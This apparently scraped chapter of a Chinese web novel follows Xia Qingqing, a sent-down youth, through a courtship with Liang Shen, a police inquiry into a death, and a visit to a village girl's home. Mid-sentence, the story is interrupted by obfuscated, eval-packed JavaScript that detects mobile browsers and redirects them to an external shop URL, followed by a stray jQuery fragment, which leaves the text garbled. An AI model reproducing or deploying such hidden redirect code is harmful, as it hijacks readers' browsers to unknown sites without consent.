知青们聊了会也累了,三三两两趴在桌上打盹,夏晴晴在一片安静中放轻脚步走出屋,戴草帽背水壶,打算去找江锐军。
从王招萍嘴里套出的信息,不能证明什么,但起码是个线索。
出了知青所,拐上能走车的宽敞土路,远处迎面骑来一辆自行车。
她抬手挡着光看去,嘴角溢出笑容,快步往前走了三四米,站定在树荫下。
长腿斜跨蹬住地面,自行车稳稳当当停下。
梁燊暗暗感慨运气好,不用找人帮忙叫了,在外面就能遇到她。
他抬手,紧捏了一路的玻璃瓶递过去:“橘子味的,不知道你喜欢不。”
夏晴晴眼睛亮了:“这是汽水吗?”
她还没见过这个牌子,拿过来仔细看:“飞天牌,没听过。贵吗?”
“省城504厂出的,就在省城范围内卖,三毛一瓶,退瓶的话一毛五,不要票。”梁燊听她好奇,一口气将自己知道的全都说了。
玻璃瓶上面的盖子类似于以后的啤酒瓶盖子,略有不同,夏晴晴瞧着,露出为难的表情。
“我来。”
梁燊接过,瓶口放嘴边,牙齿一顶,盖子就飞了。
他顺势递回去,在夏晴晴马上接过的瞬间,后知后觉意识到自己嘴巴碰过了,又掏出手帕,擦了擦,这才继续往前递。
夏晴晴没想到他还挺细心的,接过玻璃瓶,仰头喝了一大口。
又甜又酸的橘子味,瞬间炸开在口腔,可能是没加那么多香精添加剂,味道就跟榨橘子汁差不多,非常鲜。
“哇,真好喝。”
“你喜欢,下次有机会,我再给你带。”梁燊微微懊恼,早知道,刚才就不该让周兴国喝那一瓶。
夏晴晴瞧见梁燊看着她傻笑,心下微微一动。
她眼睫微垂:“你等下要去哪儿?”
梁燊总感觉她要说什么,可来不及思索,嘴巴已经如实回答:“要去趟公社,修理厂的主任叫我去,估计得忙半天。”
夏晴晴轻轻点头。
“忙完回来,又要赶着去工地上了。那就下次吧,等你从工地回来,没那么忙了,我有事跟你说。”
谈对象结婚可不是小事,不可能站在路边两句话就谈完了。
梁燊喉头一紧,盯着夏晴晴的眼中写满了期待。
他呼吸都变快了:“我能提前知道,是什么事吗?”
“……你猜?”
夏晴晴歪着头笑了。
梁燊呼吸更急促了,不得不深吸气保持平静:“猜不到。”
夏晴晴看他额头出了汗,烈日照着他墨黑的发顶,他的头发,好像比在海市见他,稍微长长了些,不再是寸头,而是发根利落、发梢长短错落的造型。
第一次见他,她觉得寸头跟他硬朗立体的五官不太搭,眼下这个长度刚刚好,很配他英俊的脸。
梁燊由着她打量,一动不动。
夏晴晴与他视线对上,缓缓流淌越积越浓的暧昧氛围蔓延在俩人周围,她莞尔一笑:“那就留点神秘感,等你回来再说,一时半会,也说不清楚。”
她都这样说了,他也没再执着。
深呼吸几口,他转了话题:“我回来的时候会路过供销社,你有什么想吃的吗?”
夏晴晴想了下,摇头。
最近天热,没什么胃口。
“那我到时候看,有没有什么新东西吧。”梁燊没下车子,一脚点地,腰背向后,自行车车头就被抬了起来,灵活掉转方向。
夏晴晴站在原地,看他骑着自行车走远了,兀自弯了眼笑起来。
她发现,他很喜欢投喂她各种食物。
记得初高中读书时候,班里的男生追女生,也是各种零食小吃不断。
虽说眼下的他和她,都过了那个年纪,可底层逻辑是相似的,读书缺零花钱买不了那么多小吃,眼下资源匮乏,缺少美食。
沉浸在这一刻喜悦中的夏晴晴,并没有发现,身后不远处的草垛里,一双阴郁的眼睛,正死死盯着她。
看夏晴晴似乎要转身,王招萍身子一缩,又躲回了草垛里。
草垛里有个能容纳一个半人的大洞,是村里的孩子们调皮躲迷藏挖出来的,她这两天,不在知青所里面待着的时候,都是躲在草垛洞里。
由于刚才大幅度的动作,她腿上的纸片全都散落在地。
一张张白纸上,密密麻麻写满了小字。
仔细看,每张纸的内容都差不多,只有措辞的不同,看得出是同一个内容,反而写了好多遍。
而每张纸顶头上面的字,却是一致的。
大出一个字号,描黑了的三个字:举报信。
副队长将几个公安安排在生产队粮仓旁边的土房子里。
那房子,以往是抢收粮食后,晒粮装粮,没时间回家住的人们暂住的,倒是没多脏,只是尘土大,只有铁架子床。
几个公安是从省城来的,这样的居住条件,都不大乐意。
夏晴晴到的时候,另个女公安正在埋怨江锐军:“不是都抓到人了吗,直接带回省城交给局里审,多简单,咱们这样走来走去,问来问去,还浪费时间干什么?”
后面一个男公安也说:“难不成他一直不承认,咱们就一直跟他耗着?”
江锐军毕竟不是他们的领导,因为找到嫌疑人,几人想立功,才跟着她来生产队的。
结果没想到,一无所获,周东升的家中,什么有用的证物都没有搜到,几个小时就听周东升哭喊着说自己冤枉了。
而且去了夏珍失足死亡的地方,也没获得任何有用的信息。
案子没进展,中午就吃了杂粮窝窝头,居住条件又如此差,几个公安就想走了。
江锐军只能低声下气劝说,说不定马上就查出关键线索了。
“上哪儿查啊?”
“就是,你催着让查,你倒是出点有用的主意?”
江锐军捏着拳头,垂着手。
“切,就知道拖着我们。”
“再没主意没方向,就跟我们一起早点回。”
几个公安走开,江锐军想出去透透气,一抬头,看到了站在门口阳光下的夏晴晴。
她面色一喜,快步迎了上去。
“你怎么来了?”
“什么都没查到吗?”夏晴晴道歉,“我不是故意偷听的,刚走过来就听到你们说话了,声音比较大。”
江锐军摇摇头,颓败地叹气:“没事,也不是什么秘密。”
夏晴晴安慰她:“别着急,查案子都是这样,一点一点查,线索就藏在细节里。很少有案子是一下子就查个水落石出的。”
多的是动用了无数警力,查了几年甚至十几年的案子。
关键是查案的人不能产生放弃的念头。
“我爸就是老刑警,我知道查案子急不得。”江锐军肩膀垮下来,面对夏晴晴,也没再装坚强,“问题是,我现在不知道方向在哪里,我就是想做点什么,也没头绪。”
这一刻,她无比懊恼后悔,小时候爸爸讲查案子,她为什么不多听听?
夏晴晴略略沉吟,拉着江锐军走到一边:“或许,我能给你提供一点线索。”
“真的?”
听夏晴晴说完,江锐军眉头拧得紧紧的:“这么看,眼下的突破口就在这个王知青身上。可是,当初我问过她,她说自己什么不知道。如果我再问,她会说吗?”
“以我对她的了解,很可能……不会。”
“那怎么办?”
夏晴晴想了想,严肃道:“我有个办法。你听听,能不能行。”
-
另一边,梁燊骑自行车回去,周兴国等得快要睡着了。
揉了揉惺忪的眼,他无语:“你把我晾这儿,上哪儿去了?”
梁燊心情好,自行车很稳地停在周兴国面前:“上车,我载你,现在去公社。”
周兴国嘴里骂骂咧咧,坐上自行车,再一看梁燊的头发,更无语了:“你小子,不就上个公社,有必要特地洗个头吗?而且,洗个头,用得了这么久?”
他可不瞎,这发型跟刚才俩人说话的时候,完全不一样!
梁燊只笑不解释,脚下蹬得飞快。
次日,天更热,浇水工作进行得如火如荼。
大多数田地都浇完了,接下来是挨家挨户浇自留地,有些人家里没水井,也没心思讲究,直接打开水窖,库库装水,等回头水澄清了,吃饭洗衣,啥都能干。
反正这水是从河里抽出来的,不过多过了个水渠而已。
这年头棉田的水费是大队统一出,可自留地和水窖的水费,是需要个人出的。
于是,夏晴晴便多了一项工作,跟着副队
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17574549|202756||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
长循着水渠转悠,在本子上记下谁家浇了自留地,灌了水窖,回头要么扣工分抵账,要么交钱。
也不贵,三分自留地交一毛钱,灌个水窖一毛钱。
夏晴晴直呼便宜,副队长为她解惑:“都穷着呢,收钱就是收个人工费和抽水机的电费。”
过了中午,副队长回去吃饭,夏晴晴也准备回知青所。
路过一条打扫得极为干净的巷道,她瞧见巷道里唯一一户砖瓦房,木门漂亮,一扇关一扇开,从开的那扇往里望,能看到里面院子也打扫得特别干净,侧对着大门的位置养着几盆小花。
清幽雅致的农村小院,前世她打工的时候,梦寐以求的居住场所。
她刚走过去,背后院子走出一个瘦弱的女孩,还没走到自留地里,就被脚下凸起的一块石头绊倒了。
“啊!”
夏晴晴转头,忙跑过去扶起女孩。
“你没事吧!”
“没……没事。”女孩小口喘着气,皮肤白得很不自然,是久病之人缺乏血气的苍白。
夏晴晴瞧她似乎还要往前走,忙问:“你要做什么,我帮你?”
梁淼咬了咬唇,害羞道:“我想看看,自留地里的水浇满了没。”
“你等着。”夏晴晴刚跟副队长走了一路,也学会怎么观测了,她走到女孩指定的位置瞧了瞧,“还没满,得再浇一会。”
“谢谢你。”梁淼悄悄打量眼前的女孩,瞧着比她大几岁,穿着的确良的碎花衬衫,下身是蓝色直筒裤,白球鞋,完全是城里人的穿衣打扮。
是女知青吧,她猜。
夏晴晴也在看女孩,她发现女孩裤子膝盖的位置磨破了,露出一小块皮肉,破了皮往外渗着血,应该就是刚才摔破的。
她忙扶住女孩,提醒她:“你腿破了。”
梁淼这才察觉到,她咬着唇,不知所措。
“我扶你进去吧。”夏晴晴询问她,“你家里人在吗?”
在女知青里,夏晴晴就已经算是最瘦的了,她下乡后,见到的本地女孩大多数身体都比较强壮,像魏金华一样有力量。
还是头一次,见比自己还瘦的,身子轻飘飘,跟个纸片人似的。
梁淼不好意思麻烦别人,但又很喜欢和夏晴晴说话,她每天闷在家里,很少有跟外人交流的机会,还是这么漂亮的女知青。
“我奶奶在。”她轻轻说。
进了院子,梁奶奶闻声从屋里走出来,看到陌生人,先是一怔,接着,发现了夏晴晴扶着梁淼的动作。
“咋了这是?”
“你啊,谁让你出去看水了,我心里有数呢!怎么这么不小心!”
“赶紧坐下,我给你涂点药!”
梁奶奶一边焦心地责备梁淼,一边也没忘了感谢夏晴晴,又是让夏晴晴进屋坐,又是要倒水给她喝。
夏晴晴连忙摆手说不用。
她帮着把女孩扶进屋,略一打量,惊讶于一个老年人居住的屋子,居然如此干净整齐,被褥叠成方块,摆放在墙角,上面盖着绣着花的白布,床单像是被刮子刮过,一点褶皱都没有。
屋子里没什么家具,就一方木桌,桌上正中央的玻璃瓶里,插着几朵长条的黄色的花。
“这叫忘忧草。”梁淼笑吟吟说。
“什么忘忧草,黄花菜!又乱说话!”梁奶奶走过来,将一碟鲜花饼放在夏晴晴面前,“我早上才做的,新鲜,尝尝。”
这还是夏晴晴下乡后,第一次到本地人家里被招待,作为前世的大西北人,她知道,这是不善言辞的西北人骨子里透出的善意。
眼下可是粮食紧缺的时代,对方愿意拿吃的招待,可见诚意。
她也没再客气,拿起一块鲜花饼,咬下去,酥皮层层散落在嘴巴内,接着是绵软的花馅,清甜的玫瑰花香萦绕在舌尖。
“好吃!”
梁奶奶瞬间满足地笑了:“好吃就多吃两块!”
梁淼也很高兴,家里许久没来客人了,她扭头看梁奶奶:“给姐姐泡点橘子粉吧!我也想喝!”
“你个丫头,我看是你嘴馋了!”梁奶奶手指头戳梁淼的脑袋,还是去了。
梁淼吐了吐舌头,探头对着梁奶奶的背影喊:“泡外面那一袋,那是我的,有夹子的那一袋是哥哥的,他不让动!”
夏晴晴咬鲜花饼的动作停下。
咦?